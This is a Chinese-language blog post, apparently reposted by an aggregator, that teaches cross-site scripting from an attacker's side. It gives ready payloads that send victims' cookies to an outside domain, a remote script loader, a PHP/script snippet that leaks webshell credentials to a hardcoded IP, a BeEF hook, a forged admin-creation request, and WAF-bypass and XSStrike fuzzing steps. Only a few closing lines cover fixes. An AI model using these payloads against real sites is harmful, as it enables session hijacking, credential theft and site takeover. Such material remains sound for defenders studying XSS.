XSS(跨站脚本攻击)原理详解(内含攻击实例)
Posted X也总
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS(跨站脚本攻击)原理详解(内含攻击实例)相关的知识,希望对你有一定的参考价值。
环境:
军锋真人cs野战123平台、xss平台(推荐自行搭建xss平台,不让别人白嫖咱自个的成果,蓝莲花战队的那个就挺好)、webshell箱子、postman、beef(kali上可能要自行下载,三行命令即可)、burpsuite、xsstrike【内含软件使用方法】
一、原理、危害、特点
原理:前端提交的一些参数转换为js代码,可以回显一些东西
跨站:例如你将一段攻击代码通过留言存储到对方服务器上时,对方管理员在浏览时就可能会执行你所写的攻击语句。
产生层面:前端
函数类:一般应用js里面的一些输出类函数
但是会受浏览器内核影响,一些浏览器会进行拦截
二、分类
反射型(非持续):攻击数据不会储存在对方服务器,类似于一次交互(后端语言进行处理)
存储型(持续):攻击数据储存在对方服务器,持续攻击,危害程度较大
DOM:攻击数据作为前端js函数参数去执行,不与后端进行交互(前端语言进行处理)【很容易发现,可以直接看前端源代码得到,可以作为反射性的一种】
三、常规攻击手法
XSS平台:可以用来构造一些payload语句,然后在该平台会显示你所要获得的信息
Beef
Cookie:用户凭据,可以用来证明身份信息,cookie和用户登录有关,存储在本地,小中型网站
想要通过xss获取cookie:
①:存在xss跨站漏洞
②:对方浏览器不拦截
③:对方有登录过
④:对方会触发
⑤:对方未过滤
Session:会话,存储在服务器存活时间短,常用做大型网站,金融等,会占用服务器资源但更安全
攻击手法:
首先搭建军锋真人cs野战123平台+xss平台注册账号
Ⅰ:通过在xss平台构造相应payload,在军锋平台进行xss攻击
后台管理查看订单触发攻击代码:
通过分析数据包:(有数据包发送到外部地址,携带一定数据)
Ⅱ:postman使用方法:(可以十分方便地修改一些字段等等)
Ⅲ:自己手动构造xss攻击代码
①:<script src='http://xqmo.fun/test.php?c='+document.cookie></script>
其中这里面的网址http://xqmo.fun/test.php?c=是自己任意构造的,但是要在相应位置设置接受你文件,
随后便可以将xss攻击代码注入相应位置,去获得相应cookie
②:<script src='http://xqmo.fun/hack.js></script>
然后在相应服务器端写好相应的hack.js文件,其中将所需要东西进行保存
Ⅳ:后门以及后门的后门(webshell箱子)
思路很简单:在后门里面加上一个后门,其中类似于在后门里面写上如下代码:
$password="admin";
$url=$_SERVER['HTTP_HOST']._SERVER['PHP_SELF'];
<script src='http://121.43.118.109/api.asp?url=$url&pass=$password'>
当然所发送的网站需要你自己取搭建webshell箱子环境,比较难受的是你有可能被反杀如果做的不好的话
(可以尝试网上的马)
Ⅴ:浏览器攻击框架beef 账号:beef 密码:123456
在kali上以管理员启动,直接输入beef-xss即可启动
构造xss攻击代码
<script src="http://192.168.136.128:3000/hook.js"></script>
通过将攻击代码发送在可能存在漏洞的地方后,就可以在beef里面获得相应的权限
Ⅵ:我的XSS平台(蓝莲花版)
首先通过构造xss攻击语句(只需要更改自己的website地址即可)
紧接着就可以直接生成对应payload进行注入,
注入后,管理员进入后台,触发代码
随后我这边就接收到相应的信息
四、绕过
Httponly:开启过后,通过js脚本无法获得cookie信息,可以有效防止xss攻击
获取对方后台权限两种方式:
Httponly:则使得cookie不能获取
1:账号密码
浏览器
保存读取:可以通过xss平台构造payload获取浏览器保存的账号密码(需要配置一些东西),xss漏洞可能就是一般的存储型漏洞,留言板等
未保存读取:表单劫持(xss漏洞产生在登陆界面),同样是利用xss平台,需要将攻击语句写入到对应地方,或者自己构造一些东西。感觉挺鸡肋
2:cookie
代码过滤:xss过关平台可以学到一些绕过知识
referer:可以显示请求链接的来源地址,例如从www.xiaodi8.com点击其中一个模块,其所发送的数据包中就会显示referer:www.xiaodi8.com,有时候可以用其抵御xss跨站攻击
攻击手法:在自己博客首页构造payload:<script src="http://www.xiaodi8.com/addadmin.php?user=xd&pwd=123456"></script>
然后诱导小迪点击我的博客,随后如果其浏览器保持xiaodi8.com的后台登陆状态时,同时又没有检测来源时就会执行相应代码,然后就莫名被吃了西瓜
******同源策略******
waf绕过:
手工探针-xss(其实和那个xss里面的一些代码过去差不多)
单引号绕过
垃圾数据填充
特殊符号干扰("\\"符号的妙用(因为“\\”常用来表示一些结束</html>等)、加‘#’)
标签替换(就是onclick\\src\\script)
更改提交方式【post】【cookie】但是对方后台要能接受相应的数据
加解密提交,可与把对应的字母进行加密,但是网站本身能解密你所加密的东西
fuzz测试生成代码:
XSS Fuzzer (在线根据生成一些可能能用的payload)
<img src='' οnerrοr=javascript:alert(1)> ==> <img /src=""/ οnerrοr='javascript:alert(1)'SADSAdadas@#>(这个可能就有点瞎搞的嫌疑,)
自动化工具绕waf(功能强大,检测规避waf、强大fuzz引擎、盲大xss支持……)xsstrike
(脚本在F盘)
python F:\\XSStrike\\xsstrike.py -u 欢迎来到level1
python F:\\XSStrike\\xsstrike.py -u 欢迎来到level1 --fuzzer
fuzz字典用burpsuit去跑里面的字典,进行模糊测试
一篇文章
[翻译]绕过XSS检测机制-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com
安全修复方法:
开启httponly、输入过滤、输出过滤
java:开启xssfilter
php:开启一些过滤(一些特殊函数htmlentities())
码字不易,期待宝子的关注
以上是关于XSS(跨站脚本攻击)原理详解(内含攻击实例)的主要内容,如果未能解决你的问题,请参考以下文章